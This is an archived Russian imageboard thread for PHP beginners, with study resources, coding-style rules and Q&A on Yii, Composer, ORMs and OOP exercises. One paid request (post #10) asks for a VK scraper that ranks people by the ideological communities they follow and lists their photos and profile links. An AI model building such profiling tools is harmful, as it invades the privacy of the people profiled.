Этого треда уже нет.
Это копия, сохраненная 16 ноября 2015 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
33 Кб, 500x500
157 Кб, 1024x683
792 Кб, 843x1200
70 Кб, 604x604
Клуб начинающих в PHP #61 #558058 В конец треда | Веб
Добро пожаловать в наш уютный тредик. Тут мы изучаем язык PHP (а также JS/CSS/HTML/SQL), решаем задачки и даже делаем простые сайты! Зачем? Кто-то хочет научиться программировать, кто-то - делать сайты, кто-то - просто размять мозги и заняться чем-то полезным.

Почему PHP? Потому что фейсбук и википедия на нем написаны, и вакансий море, и учить легко.

Это тред для начинающих. Не написал за свою жизнь ни одной программы? Ты наш человек.

Устанавливать пока что ничего не требуется, разве что редактор кода вроде Sublime Text 3, Notepad++, Netbeans PHP или PhpStorm (с ним будет удобнее).

Предыдущий тред был тут: >>551625 (OP)

Что самое главное для программиста? Умение аккуратно оформлять код (читай второй пост).

Правила: ведем себя воспитанно, помогаем новичкам, постим ссылки на решения задачек, ОП их проверяет и дает советы и замечания. ОП отвечает даже на самые нубские вопросы. ОП заходит где-то раз в день-два, не жди его, решай задачки дальше.

У нас есть уроки по основам PHP, они собраны и выложены по адресу http://archive-ipq-co.narod.ru/ Это учебник для изучающих с нуля, то есть если ты вообще ничего не знаешь, то надо начать с него. Он простой и понятный (по крайней мере в начале). Там есть задачи, их надо решать обязательно (чтобы стать программистом, надо писать код — иначе никак). Пости ссылки на решения в тред, мы их проверим, напишем замечания и дадим советы по улучшению.

Если не знаешь как решать, запости код, напиши в каком месте остановился и попроси подсказку.

Учебник дает основы языка PHP, но чтобы делать сайты, этого недостаточно. Если ты его прошел, то надо переходить в более серьезным задачкам, которые научат тебя как выдавать страницы в браузер, работе с таблицами в БД, работе с формами, MVC.

- Простая, но полезная задача сделать список студентов: https://github.com/codedokode/pasta/blob/master/student-list.md
- Более сложная задача сделать файлообменник на микрофреймворке Slim: https://gist.github.com/codedokode/9424217
- Еще более сложная и долгая задача на Yii/Yii2: https://gist.github.com/codedokode/8733007
- После нее можно изучать автоматизированное тестирование
- Если ты все решил, переходи к Symfony 2/Doctrine 2

Чтобы делать эти задания, тебе надо установить Апач + PHP (можно заодно сразу и MySQL) на компьютер. Вот полезные инструкции:

https://gist.github.com/codedokode/10774100
https://gist.github.com/codedokode/7054af4a03865c4cc863

Может тебе понадобится пользоваться командной строкой, вот гайд https://gist.github.com/codedokode/10539568

Вот небольшой туториал по тому как начать использовать PHP на сервере для отдачи странички в браузер: https://php.net/manual/ru/tutorial.php Увы, уроков плавно подводящих к тому, как сделать задачи выше, пока нет, так что если что, задавай вопросы.

Решения задач лучше показать мне, особенно на ООП,так как сам ты вряд ли увидишь все ошибки. Пости свой код на гитхаб и вкидывай ссылку в тред по мере решения. Я прокомментирую и укажу на ошибки.

Также, у нас есть задачи которые позволят тебе изучить или подтянуть до нормального уровня знания JS/HTML/CSS/SQL. Решай их параллельно с задачами выше.

- HTML/CSS: https://gist.github.com/codedokode/58ebc90bd006baf4b35c
- JS: https://gist.github.com/codedokode/ce30e7a036f18f416ae0
- Проверялка решений на JS: http://dkab.github.io/jasmine-tests/
- MySQL: https://gist.github.com/codedokode/10539213

Что почитать

- Мануал по PHP — http://www.php.net/manual/ru/langref.php
- Сайт phptherightway (перевод на русский: http://getjump.github.io/ru-php-the-right-way/ )
- По PHP: Профессиональное программирование на PHP Джордж Шлосснейгл
- По PHP: Мэтт Зандстра — PHP: Объекты, шаблоны, методики программирования
- JS: learn.javascript.ru
- Про Git:

Подскажи сайты для поиска работы, я не умею гуглить? brainstorage.me, geekjob.ru, hh.ru
Нужен ли ООП, фреймворки, MVC? — Да, однозначно. Посмотри любую вакансию.
Сайт опять упал!!!!! — Не паникуй, а открой http://rghost.net/45000175
Оформляй код аккуратно!!! — например пропусти через phpformatter.com . Также, если ты пользуешься IDE вроде PhpStorm, Netbeans, Eclipse, то в них эта опция встроена, подробнее: https://gist.github.com/codedokode/8759492
ОП, сделай за меня мою работу или домашнее задание? — Это конечно, хорошая идея, но нет.
Где искать работу и заказы — hh.ru, geekjob.ru, brainstorage.me, fl.ru, odesk.com. Имей в виду, что кроме фриланса есть еще постоянная удаленная работа (remote job) когда тебе не надо тратить время на поиск заказов и переговоры с неадекватными заказчиками.
56 Кб, 500x644
34 Кб, 650x384
Пиши верно #2 #558060
Код нужно писать не как попало, а аккуратно и по правилам. Почему? Потому, что на неакуратно написанный код не хочется даже смотреть.

Если тебе лень выравнивать код руками, закачай его на http://beta.phpformatter.com/ и нажми «format». Робот исправит выравнивание и отступы в мгновение ока (да, прогресс не стоит на месте). Если ты используешь мощную IDE вроде PhpStorm, там тоже есть функция форматирования кода.

Горячие клавиши для форматирования кода в разных IDE: https://gist.github.com/codedokode/8759492

Вообще, в PHP долгое время не было единого стандарта оформления кода, все писали как попало и было много бардака, но сейчас дело лучше — есть стандарты PSR-1 и 2. Вот как надо оформлять код:

- переменные и функции пишутся с маленькой буквы, подчеркивание не используется, используется camelCase, пример: $x, $numberOfPeople, printResults()
- Название функции начинается с глагола, в стиле «сделайЧтоТо»
- не знаешь английский? Не беда, в 21 веке есть решение этой проблемы. Не пиши транслитом, открой лучше Гугл Транслейт или slovari.yandex.ru и найди название для переменной там
- в именах классов используется CamelCase, первая буква большая, «_» может использоваться
- мы предпочитаем подстановку переменных вместо конкатенации строк: "I am $age years old" — хорошо, 'I am ' . $age . ' years old' — плохо из-за обилия точек и кавычек
- мы используем для отступов 4 пробела (можно настроить редактор, чтобы при нажатии Tab он вставлял 4 пробела)

Вот ссылка на стандарты, где все это описано подробнее и даны примеры оформления:

PSR-1: https://github.com/php-fig/fig-standards/blob/master/accepted/ru/PSR-1-basic-coding-standard.md
PSR-2: https://github.com/php-fig/fig-standards/blob/master/accepted/ru/PSR-2-coding-style-guide.md

------------------

Итак, ты зашел в тред и решил помочь какому-то анону, дав ему совет или подсказку. Спасибо! Но прочти сначала эти напоминания, чтобы твоя помощь действительно была полезной.

Будь доброжелателен

Не годится: «Ты мануал хоть раз в жизни открывал, обезьяна?»
Не годится: «В гугле забанили?»
Не годится: «Твой код плохой»
Хорошо: «Вот, как можно улучшить этот код: ...»
Хорошо: «Ты неправильно используешь функцию abc(). Вот ее описание: ссылка, и как видишь ей надо передать строку, а не массив»

Не придирайся к знанию английского языка.

Объясняй

Не очень хорошо: «сделай как в этом коде»
Хорошо: «если ты вставляешь текст от пользователя в SQL запрос, то получается SQl-инъекция, которая позволяет взломать твой сервер (ссылки). Чтобы этого избежать, надо вставлять данные с помощью плейсхолдеров (ссылки)»
Хорошо: «Помни, что код пишется для людей. Если писать такие большие функции, то в них становится трудно разобраться...»

Не проповедуй

Мы учим использованию самых распространненных подходов, стандартов, библиотеки фреймворков. Если ты не любишь ООП, пробелы в коде, jQuery, сам PHP, то рассказать об этом стоит в каком-нибудь другом треде.

Не придирайся к знанию английского языка, анон пишет как умеет.

Ах да. Если тебе кажется, что что-то в учебнике или задачах можно сделать лучше — пиши, обратная связь всегда очень полезна.
56 Кб, 500x644
34 Кб, 650x384
Пиши верно #2 #558060
Код нужно писать не как попало, а аккуратно и по правилам. Почему? Потому, что на неакуратно написанный код не хочется даже смотреть.

Если тебе лень выравнивать код руками, закачай его на http://beta.phpformatter.com/ и нажми «format». Робот исправит выравнивание и отступы в мгновение ока (да, прогресс не стоит на месте). Если ты используешь мощную IDE вроде PhpStorm, там тоже есть функция форматирования кода.

Горячие клавиши для форматирования кода в разных IDE: https://gist.github.com/codedokode/8759492

Вообще, в PHP долгое время не было единого стандарта оформления кода, все писали как попало и было много бардака, но сейчас дело лучше — есть стандарты PSR-1 и 2. Вот как надо оформлять код:

- переменные и функции пишутся с маленькой буквы, подчеркивание не используется, используется camelCase, пример: $x, $numberOfPeople, printResults()
- Название функции начинается с глагола, в стиле «сделайЧтоТо»
- не знаешь английский? Не беда, в 21 веке есть решение этой проблемы. Не пиши транслитом, открой лучше Гугл Транслейт или slovari.yandex.ru и найди название для переменной там
- в именах классов используется CamelCase, первая буква большая, «_» может использоваться
- мы предпочитаем подстановку переменных вместо конкатенации строк: "I am $age years old" — хорошо, 'I am ' . $age . ' years old' — плохо из-за обилия точек и кавычек
- мы используем для отступов 4 пробела (можно настроить редактор, чтобы при нажатии Tab он вставлял 4 пробела)

Вот ссылка на стандарты, где все это описано подробнее и даны примеры оформления:

PSR-1: https://github.com/php-fig/fig-standards/blob/master/accepted/ru/PSR-1-basic-coding-standard.md
PSR-2: https://github.com/php-fig/fig-standards/blob/master/accepted/ru/PSR-2-coding-style-guide.md

------------------

Итак, ты зашел в тред и решил помочь какому-то анону, дав ему совет или подсказку. Спасибо! Но прочти сначала эти напоминания, чтобы твоя помощь действительно была полезной.

Будь доброжелателен

Не годится: «Ты мануал хоть раз в жизни открывал, обезьяна?»
Не годится: «В гугле забанили?»
Не годится: «Твой код плохой»
Хорошо: «Вот, как можно улучшить этот код: ...»
Хорошо: «Ты неправильно используешь функцию abc(). Вот ее описание: ссылка, и как видишь ей надо передать строку, а не массив»

Не придирайся к знанию английского языка.

Объясняй

Не очень хорошо: «сделай как в этом коде»
Хорошо: «если ты вставляешь текст от пользователя в SQL запрос, то получается SQl-инъекция, которая позволяет взломать твой сервер (ссылки). Чтобы этого избежать, надо вставлять данные с помощью плейсхолдеров (ссылки)»
Хорошо: «Помни, что код пишется для людей. Если писать такие большие функции, то в них становится трудно разобраться...»

Не проповедуй

Мы учим использованию самых распространненных подходов, стандартов, библиотеки фреймворков. Если ты не любишь ООП, пробелы в коде, jQuery, сам PHP, то рассказать об этом стоит в каком-нибудь другом треде.

Не придирайся к знанию английского языка, анон пишет как умеет.

Ах да. Если тебе кажется, что что-то в учебнике или задачах можно сделать лучше — пиши, обратная связь всегда очень полезна.
#3 #558061
Напомню себе:

- написать задачку на SPA
- глянуть сайт объявлений на ЮИ: >>550257

> Джаваскрипт действительно лучше больше не смотри, мне лучше сначала основательно подучить теорию.


> https://github.com/nsdvw/classifieds


- скрипты уменьшения картинок >>557811 https://github.com/MindiMakridi/RESTFUL
- анону который пилит кошек-мышек я вроде ответил на все вопросы
- файлообменник >>556104 https://github.com/blackberryJam/filehosting

> Что есть: регистрация, простой личный кабинет с файлами пользователя и возможностью отредактировать личную информацию, возможность загружать и удалять (если ты владелец) файлы, загрузка файлов драг-н-дропом (можно пачками).


> Чего ещё нет: комментариев и превьюшек к изображениям.


- >>555695 https://github.com/V3N0m21/Uppu3

> посмотри мой файлообменник, я туда прикрутил jQuery и поправил твои замечания. С версткой беда, знаю, но сейчас хочу разобраться до конца с бэкендом, а потом уже наводить красоту.



Вроде это пока все, что я не проверил. Не ждите меня аноны, изучайте PHP дальше.
#4 #558073
Стоит ли пытаться применить паттерны из книги в файлообменнике или выйдет сильно мудрено?
#5 #558074
Если с версткой беда - делайте на бутстрапе, вообще делайте на бутстрапе, не тратьте время на верстку и фронтенд.
#6 #558077
>>558074

Если с версткой беда — прорешайте наши задачки на HTML/CSS.
#7 #558083
>>558077
бэкендеру это не нужно.
sage #8 #558084
>>558083
В реальной жизни чистый бек-ендер нужен крайне редко. А если и нужен, то это скорее всего уже не джун. В реальной жизни на программиста будут вещать задачи и интеграции верстки, и допила фронта, и быстренько сверстать страничку.
#9 #558087
>>558056

>между A и B по горизонтали, по вертикали


А как посчитать одновременно расстояние по вертикали и горизонтали?

>Но я говорил о другом. Я говорил что поведение у разных животных разное, значит оценочные функции у них тоже разные и они должны быть в классе животного. А у тебя оценка делается в классе Animal, как будто все животные используют одну и ту же систему оценки хода и движутся по


одинаковой логике.
Ну я переделал это теперь эти функции разделены и объявлены абстрактными чтобы переопределять поведение для каждого животного.

https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Mouse.php#L7

https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Mouse.php#L36

Ты все еще против циклов?

>>557829

>set это когда знаечние меняют извне. get возвращает значение. У нас никто символ для кошки менять не будет извне, мы прсто вызваем getSymbol а она вернет текущую иконку.


>>556079

>В твоем случае, что если кто-то унаследует класс и не переопределит поле symbol, что будет? Ведь в коде нет никаких намеков что его надо переопределить.


А как тогда намекнуть что поле symbol нужно переопределить? Добавить его в конструктор подойдет?
#10 #558137
Ребятки, кто может написать простой парсер - анализатор для вк? Готов помочь с api, готов простимулировать денежно dengersfly(хвост)mail.ee

Поиск людей с нужными интересами.

Каждое сообщество, на которое подписан человек имеет определенный вес, гипотетическая "ценность". К примеру

паблик "атеист" имеет ценность в 5, а "Дельфин-агностик" - целых 20, а "мдк" - минус 50.

Учитывая, что человек в основном активней всего читает верхушку - то соответственно и анализировать мы

должны исключительно данную верхушку - первые 20 пабликов.

Самый первый паблик передает человеку 100% своих очков, все последующие уменьшают свою силу на 5% за

позицию, к примеру третий паблик передаст 90% от своего веса человеку.

Скрипту массивом передаются ссылки на паблики и их вес, с возможностью указать в какую группу будет

начисляться вес за участие в данном паблике. Тоесть "атеист, дельфин-агностик" - группа рационалистов, "мдк,

орленок" - группа рачья, таким образом итоговая работа скрипта будеть формировать рейтинг людей, с

подрейтингами для максимально автоматизированного всестороннего анализа.

Также, по желанию, чтобы можно было осуществить простой фильтр по полу, городу, возрасту, количеству друзей, etc

Итоговый отчет скрипта - вывод отсортированных по получившемуся рейтингу людей с их первыми 10 мини-фотками, 20 пабликами и ссылкой на страницу.
#10 #558137
Ребятки, кто может написать простой парсер - анализатор для вк? Готов помочь с api, готов простимулировать денежно dengersfly(хвост)mail.ee

Поиск людей с нужными интересами.

Каждое сообщество, на которое подписан человек имеет определенный вес, гипотетическая "ценность". К примеру

паблик "атеист" имеет ценность в 5, а "Дельфин-агностик" - целых 20, а "мдк" - минус 50.

Учитывая, что человек в основном активней всего читает верхушку - то соответственно и анализировать мы

должны исключительно данную верхушку - первые 20 пабликов.

Самый первый паблик передает человеку 100% своих очков, все последующие уменьшают свою силу на 5% за

позицию, к примеру третий паблик передаст 90% от своего веса человеку.

Скрипту массивом передаются ссылки на паблики и их вес, с возможностью указать в какую группу будет

начисляться вес за участие в данном паблике. Тоесть "атеист, дельфин-агностик" - группа рационалистов, "мдк,

орленок" - группа рачья, таким образом итоговая работа скрипта будеть формировать рейтинг людей, с

подрейтингами для максимально автоматизированного всестороннего анализа.

Также, по желанию, чтобы можно было осуществить простой фильтр по полу, городу, возрасту, количеству друзей, etc

Итоговый отчет скрипта - вывод отсортированных по получившемуся рейтингу людей с их первыми 10 мини-фотками, 20 пабликами и ссылкой на страницу.
#11 #558138
>>558137
Ну и разумеется сколько и в какой категории они набрали баллов
#12 #558156
>>558138
Ну и чтобы было удобней - дабы каждой подгруппе рейтинга заранее установить, какой процент от нее перетекает в основную группу, которая определяет порядок вывода
#13 #558211
Есть большая форма на сайте на Вордпресс. Одна её часть подключается через плагин, как искать вторую часть формы? Она должна быть в теме?
#14 #558292
Оп, хочу сделать авторизацию через вбыдлятню и фейсбук, наряду с этим в зависимости от их id у них будут разные права, как присвоить роль пользователю?
#15 #558297
>>558292
забыл дописать, что речь об yii2
#16 #558321
Пыханы.
yii 1.1
ActiveRecord
Допустим у меня в таблице А есть связь с таблицей В по внешнему ключу допустим a.b_id => id.
Это в самой базе. Связь один ко многим например.
Как это обыграть в AR?
Допустим чтобы в каждой модели А было поле с массивом моделей В. Или чтобы При удалении модели А удалялись все связанные модели В? И прочее, прочее.
Я вроде читаю доки, но не очень понимаю. Вы, наверное, доступнее объяснить сможете.
#17 #558322
>>558321

>a.b_id => id.


a.id => b_a_id
фикс
sage #18 #558374
>>558321
Кинуть ссылкой на документацию? Там же все разжовано и в рот положено. На великом и могучем, между прочим. Попробуй реализовать в коде, сразу понятно все станет.

Документация одна из сильных сторон данного фреймворка.
#19 #558381
>>558374
Ну, я читал, средненько понял. В коде сразу ссусь, ибо проект рабочий.
#20 #558389
ОП, проверь пожалуйста.
https://github.com/never3ver/catsandmice
С точки зрения каждого животного:
1. Определяем, на какие клетки вокруг можно ходить.
2. Определяем ближайшую цель для преследования/убегания от.
3. Используя определенные ранее возможные для ходов клетки, ищем ту, в которой расстояние до цели будет наибольшим или наименьшим для мышки и кошки соттветственно, на основании этого делаем выбор.
4. Ходим. Если поймали кошкой мышку, едим.
Вроде все везде бегают, кошки едят мышек, но иногда возникает проблема в 3 шаге:
https://github.com/never3ver/catsandmice/blob/master/classes/Moves.php#L148
Что мышки что кошки иногда ходят не в ту сторону, что-то не так вычисляется, что именно я найти не могу, 3 раза переписывал уже с нуля всю логику, воз и ныне там.

Вообще такое впечатление, что задачка не на ООП а на сношание мозга ходами мышек и кошек.
#21 #558394
>>558389
Если точнее, то что-то с определением расстояния и последующим выбором наибольшего/наименьшего, на листочке даже считал вроде все норм должно быть, но увы и ах.
Аноним #22 #558437
Аноны, а РНР отличается от HTML программирования? Просто не могу найти тред про HTML, и поэтому думаю сюда ли я зашел?
140 Кб, 360x360
#23 #558441
>>558437

>HTML программирования

#24 #558550
>>558084
Но ведь тогда чуваки из версткотреда в воркаче останутся без работы(( Зря они что ли учились каждый пиксель адаптировать под ойфон и самсунг(
#25 #558553
>>558550
Перечитай пост внимательней.
#26 #558574
>>558083

Бекендер может не заниматься версткой если он например эксперт по базам данных или пишет какие-то высоконагруженные штуки. Обычно это минимум сеньоры. Но ты вряд ли именно такой человек. Это значит что такая позиция тебе не светит, и тебе придется работать в роли фуллстек специалиста. Так что не ной, а пройди наши задачки на HTML/CSS, почитай приложенные там ссылки и может быть, если ты разберешься в особенностях CSS, верстка перестанет вызывать у тебя такие эмоции.
#27 #558575
Как на пхп с вебсокетами? Можно ли для риалтайм игры использовать?
#28 #558648
Добрый вечер, какую среду разработки используете? Есть ли те кто используют/использовали Atom? Как он вообще? сам на PHPstorm
sage #29 #558726
>>558575

>Как на пхп с вебсокетами?


phpDaemon cодержит и вебсокеты, и возможность поднять пулл серверов для ваших игорь.
#30 #558727
>>558726
Сажа приклеилась.
#31 #558734
>>558726

phpDaemon это вчерашний день, сейчас для таких штук есть реально асинхронный ReactPHP: http://reactphp.org/
#32 #558743
Тестирую код для отображения SVG-картинок (c фоллбеком на PNG). Может быть, кому-то интересно будет посмотреть:

Код https://github.com/codedokode/files
Смотреть http://codedokode.github.io/files/2/
Результаты тестов в браузерах (если вы видите кошек значит SVG не отображается и выводится фоллбек картинка):

https://www.browserstack.com/screenshots/93970808189ac7d4412cfe430d1c2781f6a47760
https://www.browserstack.com/screenshots/206b2fe7dd7156e59e8bab9e231bee0b0376bc8b

Вообще конечно browserstack крутой сервис (хоть и платный), можно в большом числе браузеров (включая мобильные) протестировать верстку.

Если вы смотрели HTML то увидите что там разные варианты кода:

1) object + img - хорош но приводит к загрузке фоллбек-PNG (которая весит раз в 10 больше чем SVG), то есть генерирует лишний трафик
2) object + span - не грузит фоллбек-картинку если есть SVG, но у него недостаток что background-image труднее сделать адаптивным (img умеет определять высоту по ширине, а bg-image нет). Не знаю пока, как это решить, видимо для адаптивности надо 2 спана + 2 фоллбек-картинки и скрывать одну из них через @media

Ну и вдобавок гитхаб (как и юкоз) не умеет правильно отдавать SVGZ с нужными заголовками. Или браузер не умеет его понимать, не знаю.

Пока для себя сделал такие выводы:

- SVG поддерживается новыми и не очень новыми браузерами (Хромы, фаерфоксы, старая Опера)
- IE9+
- с PNG-фоллбеком картинки отображаются в 100% браузеров
- но надо указывать размеры картинки в коде
- и не факт что получится масштабировать для маленьких экранов

В общем мое мнение, можно применять, только надо уметь определять размеры и генерировать фоллбек-картинки.
#32 #558743
Тестирую код для отображения SVG-картинок (c фоллбеком на PNG). Может быть, кому-то интересно будет посмотреть:

Код https://github.com/codedokode/files
Смотреть http://codedokode.github.io/files/2/
Результаты тестов в браузерах (если вы видите кошек значит SVG не отображается и выводится фоллбек картинка):

https://www.browserstack.com/screenshots/93970808189ac7d4412cfe430d1c2781f6a47760
https://www.browserstack.com/screenshots/206b2fe7dd7156e59e8bab9e231bee0b0376bc8b

Вообще конечно browserstack крутой сервис (хоть и платный), можно в большом числе браузеров (включая мобильные) протестировать верстку.

Если вы смотрели HTML то увидите что там разные варианты кода:

1) object + img - хорош но приводит к загрузке фоллбек-PNG (которая весит раз в 10 больше чем SVG), то есть генерирует лишний трафик
2) object + span - не грузит фоллбек-картинку если есть SVG, но у него недостаток что background-image труднее сделать адаптивным (img умеет определять высоту по ширине, а bg-image нет). Не знаю пока, как это решить, видимо для адаптивности надо 2 спана + 2 фоллбек-картинки и скрывать одну из них через @media

Ну и вдобавок гитхаб (как и юкоз) не умеет правильно отдавать SVGZ с нужными заголовками. Или браузер не умеет его понимать, не знаю.

Пока для себя сделал такие выводы:

- SVG поддерживается новыми и не очень новыми браузерами (Хромы, фаерфоксы, старая Опера)
- IE9+
- с PNG-фоллбеком картинки отображаются в 100% браузеров
- но надо указывать размеры картинки в коде
- и не факт что получится масштабировать для маленьких экранов

В общем мое мнение, можно применять, только надо уметь определять размеры и генерировать фоллбек-картинки.
#33 #558755
Что б ты до конца жизни макеты верстал.
#34 #558759
>>558574
Я умею вееерстать (аж передернуло, пока писал, блевотный рефлекс уже на это слово), но я не собираюсь тратить на это свое время и делать >for free. Потому что меня блевать от нее тянет. А верстка - это именно то, что стоит копейки, но при этом ужасно блевотное. Но кто-то тащится от верстки - вот пусть они этим и замаются.
#35 #558802
>>556079

>- перенести проверку в метод определения возможных ходов


Все равно в этой проверке будет вставать проблема с continue >>553095

>>Очевидно, здесь чтобы кошка "ловила" мышку нужно указать что-то вроде:


>


>>$this->getWorld()->determineTheObject($x, $y) != $track


>


>>но здесь встает такая проблема, чтобы получить $track нужно пройтись по массиву $tracks. Если использовать foreach, то не получиться использовать continue чтобы пропустить предполагаемый ход, потому что continue будет заставлять переходит к следующему элементу массива $tracks, а не к следующему предполагаемому ходу.

#36 #558809
Нужно отправит get запрос на сервер типа http://2ch.hk/index.php?value1=1&value2=2 из php. Как это сделать?
#38 #558862
#39 #558863
>>558862
Уже через file_get_contents сделал.
15 Кб, 1122x197
49 Кб, 595x351
#40 #558870
Пробовал поставить yii2 через composer, выдает пикрелейтед 1, при этом настройки опенсервера (пикрел.2) и команда phpinfo() показывает PHP Version 5.5.19. В чем беда?
#41 #558871
Наговнокодил скрипт, который за пару секунд сжирает все 6 гигов оперативки, и начинает пожирать своп, потом намертво вешает систему.
И всего-то пара вложенных foreach..
#42 #558876
>>558870
Поставь уже себе линукс с апачем и не мучайся.
Алсо, не думал, что я однажды это спрошу, но когда вернётся капча, лол? Несколько дней уже эффект пасскода.
#43 #558877
>>558876

>Поставь уже себе линукс с апачем


>не мучайся.

#44 #558884
>>558870
Ребут опенсервера не помогал, закрыл его вручную и запустил заново то же самое с командной строкой сделал и всё ок, видимо конфиг не считывался каждый раз компосером, а считывался при старте и хранился где-то.
#45 #558886
>>558884
А у меня на бубунте всё сразу запускается, без пердолинга.
#46 #558887
Test.
#47 #558890
https://meduza.io/news/2015/10/15/internet-ombudsmen-nazval-podgotovku-it-spetsialistov-vredom-dlya-rossii

>Борис Глазков — он назвал подготовку программистов «гиблым делом», а также отметил, что в ближайшее время программистов «можно будет заменить компьютером, чтобы он писал код».


Скоро нам всем песда настанет!
#48 #558901
>>558890
А кто такой обмудсмен? Логика просто охуительная - мы нихуя не умеем и американцы лучше нас, но мы великая страна и нам это не подходит, поэтому ну его нахуй это погромирование.
72 Кб, 994x563
#49 #558904
ОП, начал твои задачки по JS и застрял на второй.

Понимаю, что проблема в области видимости, а как вылечить не знаю.
#50 #558910
>>558904
И чому все продолжают юзать саблайм, на который давно забил сам автор? Один я, как сраный хипстор, на атом перекатился.
#51 #558912
>>558910

> на который давно забил сам автор


А что это меняет? Я вообще им пользуюсь ради приятного интерфейса и фона, даже не знаю какие там фичи есть.
#52 #558914
>>558912
Я по той же причине пользуюсь атомом. В саблайме ни одна из готовых тем не зашла. Дефолтная атомовская оказалась для меня идеальной (правда, цветов многовато).
21 Кб, 1210x120
#53 #558923
Хочу сменить работу, надоело разгребать говнокод. На пхп всегда куча говно и ты делаешь и фронт и бек, а исключения редки.
Или меня в норм места из за малого опыта не зовут?
#54 #558931
>>558923
Онли-фронт найти легко, даже если мало опыта, но технологии знаешь.
#55 #558941
Поставил слим в директорию с помощью композера. Как туда добавить другие библиотеки, например вот эту https://github.com/j4mie/paris
Просто скопировать содержимое composer.json из репозитория в свой файл? Да, кстати, есть ли подобная библиотека, только не activerecords, а datamapper?
#56 #558962
>>558931
Но мне бы бек, там по интереснее
#57 #558971
>>558941

> Как туда добавить другие библиотеки


https://getcomposer.org/doc/05-repositories.md#vcs

> Да, кстати, есть ли подобная библиотека, только не activerecords, а datamapper?


https://github.com/j4mie/idiorm/
#58 #559013
>>558941
Я тебе рекомендую сразу забить на Paris и взять Doctrine 2, я тоже начинал делать файлообменник с Paris, но он кривой и архаичный, и пришлось переделывать под доктрину. Доктрина на порядок сложнее, но знания которые ты получишь намного полезнее
#59 #559021
>>558876

>Алсо, не думал, что я однажды это спрошу, но когда вернётся капча, лол? Несколько дней уже эффект пасскода.


Тоже хотел бы знать, скоро разучусь цифры узнавать, это саботаж какой- то, русских людей тупыми делают!
>>558877
Это просто, очень просто. В Oracle VM VirtualBox есть охуенный режим без интерфейса, прямо как настоящий сервер, только на локальном айпи. Отличная тренировка в условиях, приближённым к боевым. Всем вендоюзерам советую.
>>558890
Компутеры, который пишут код, пророчат уже лет 42, если не больше. А воз и ныне там.
>>558923
Если код на пикче писал ты, то в приличные места даже не суйся.
#60 #559026
>>558870

В опенесервере по моему надо открывать специальную командную строку через него где он выставит нужные переменные окружения. Зря ты вообще его установил.
#61 #559027
>>558871

Открой для себя memory_limit: http://php.net/manual/en/ini.core.php#ini.memory-limit
#62 #559032
>>558890
Я думаю омбудсмена заменить генератором случайных текстов будет проще.
#63 #559036
>>558941

Нет. composer.json в библтотеке содержит информацию о ней. Тебе нужно прочесть мануал по композеру, способа 2:

1) прописать в composer.json название и верси. библиотеки которая нужна + сделать composer install
2) сделать composer require название-библиотеки и композер все пропишет и установит сам

Искать библиотеки можно на сайте packagist, там же написана команда require которую надо выполнить.

Ну и прочитай про композер где-нибудь.
#64 #559037
>>558941

Дата маппер у нас один - это доктрина 2, клон явовского Hibernate. Сложная но очень мощная.
#65 #559046
>>558904

Зачем ты одну функцию кладешь внутрь другой? Они должны идти подряд, примерно так:

function x() {}
function y() {}
#66 #559047
>>558904

for (...) {
function sequence() {};
}

Этот код просто N раз подряд создает функцию sequence (которая не видна снаружи) и больше ничего не делает.

Перечитай-ка в learn.javascript.ru урок про функции.
#67 #559048
>>558904

Алсо сравнение с undefined надо делать через === а не ==

Алсо можно писать короче: step = step || 1;
#68 #559049
>>558845

Ты в процессе хода мыши не делаешь манипуляций со списком животных внутри World?
#69 #559083
>>558871
Систему в смысле виндоус? покажи код.
#70 #559098
Подскажите, как выглядит функция удаления символов из строки?
#71 #559150
>>559098
Нет такой. Можно сделать через str_replace или explode/implode.
#72 #559371
Анончики, кто хочет писать систему инвентаризации всякого хлама для IT-отдела? Я накатал вот это https://github.com/andr1an/inventorize на коленке и с горем пополам, потом надолго забросил. Не хочу кучу функций и тормознутость, хочу простую и понятную структуру и быстроту работы. Жду ваших форков и пул-реквестов!
#73 #559374
>>559371

Код кошмарный, в лучших традициях PHP4, все смешано в кучу. Ты не заинтересован, пользуясь нашими советами и замечаниями улучшить код и перенести его на фреймворк (Юи 2 например)?

Профит: ты учишься современному стилю написания кода, заполняешь пробелы в знаниях, осваиваешь популярный фреймворк.

Один на один с кодом тебя никто не бросит, всегда рады будем дать совет и ответить на вопрос.
#74 #559378
>>559374
Было бы весьма круто, потому что echo '<blabla' + vasya + ">\n"; в каждой строчке меня самого уже порядком бесит. Как освободится время на работе - начну осваивать Yii2.

Алсо, сейчас я понял, что без настроенного ldap-сервера моё поделие будет очень тяжело поставить куда-либо хотя бы для тестов. Надо бы прикрутить возможность заводить сотрудников вне ldap-базы, для чего потребуется на 100% отделить от вывода всю работу с данными по "people".
26 Кб, 235x235
#75 #559382
Надоел идеон, хочу покодить в нотепаде, к тому же ОП его советовал, нужно ли там устанавливать себе локальный сервер, подключать нотепад к нему? Или можно просто как-то проверять код на ошибки в нотепаде и там же смотреть, что можно получить на выходе?
#76 #559386
>>559382
Тебя ждет удивительный мир установки и настройки ХАМПА, апачай, майсокла и ИДЕ.
#77 #559390
>>559371
Хоть бы MVC и без таблиц сделал. Это вот ты с таким кодом уже и работаешь? хуяси.
#78 #559391
>>559378

Если архитектура позволяет, можно класс-репозиторий с людьми делать заменяемым, то есть у нас есть класс работающий с LDAP базой и альтернативный, работающий с таблицей в mysql. А выбор делается через конфиг.

Также дам тебе сразу несколько маленьких советов:

- движок MyISAM это отстой и каменный век. Он в отличие от InnoDB не позволяет ни настраивать внешние ключи между таблицами ( denis.in.ua/foreign-keys-in-mysql.htm ) ни использовать транзакции. А база без внешних ключей это просто свалка с данными.

- (это на будущее) тебе стоило бы все переделывать на MVC, когда код с логикой хранения и обработки данных размещается отдельно от HTML шаблонов (а они отдельно от JS/CSS кода). Вообще принято все раскладывать отдельно, напрмиер все SQL запросы к одной таблице стоит изолировать в отдельном классе (паттерн TableDataGateway). Ну если ты будешь Юи использовать, там уже есть все готовое для этого.

- у нас есть чем-то похожая на твою задача инвентаризации списка студентов: https://github.com/codedokode/pasta/blob/master/student-list.md - к ней написаны обширные советы и примечания, как лучше работать с базой данных, с формами

- использовать константы в конфиге в общем плохая идея так как побуждает разбросать работу с ними по всему коду

- вместо вывода HTML через echo надо использовать шаблоны: http://www.phpinfo.su/articles/practice/shablony_v_php.html

